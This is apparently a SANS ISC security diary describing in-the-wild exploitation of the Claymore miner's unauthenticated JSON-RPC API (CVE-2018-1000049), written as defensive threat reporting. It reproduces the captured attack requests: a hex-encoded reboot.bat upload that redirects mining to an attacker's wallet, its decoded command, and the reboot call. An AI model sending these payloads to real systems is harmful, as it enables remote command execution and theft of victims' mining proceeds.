SANS ISC: Insecure Claymore Miner Management API Exploited in the Wild

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We have seen a notable increase in scans for port 3333/tcp in the wild. Port 3333 is used by a variety of crypto coin miners and mining pools.

Our honeypot, around the same time, started seeing more requests like the following (I added spaces to allow the line to break):

{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","4574684463724d696e657236342e657865202d6570 6f6f6c206574682d7573322e6477617266 706f6f6c2e636f6d3a38303038202d6577616c2030786430383937 6461393262643764373735346634656131386638313639646263303862656 238646637202d6d6f64652031202d6d706f72742033 333333202d6d707377206775764a746f43785539"]}

The hex string converts with "xxd -p -r" to:

EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9

Now I have no idea why someone would have the unauthenticated JSON RPC of their miner exposed to the internet, but then again, these attacks are targeting people who are into cryptocoin mining, so everything is possible.

The command above is then followed by a reboot request:

{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}

The scan is consistent with a vulnerability, CVE-2018-1000049, released in February [2]. The JSON RPC remote management API does provide a function to upload "reboot.bat", a script that can then be executed remotely. The attacker can upload and execute an arbitrary command using this feature. The port the API is listening on is specified when starting the miner, but it defaults to 3333. The feature allows for a "read-only" mode by specifying a negative port, which disables the most dangerous features. There doesn't appear to be an option to require authentication.

[1] https://www.exploit-db.com/exploits/44638
[2] https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/

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Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
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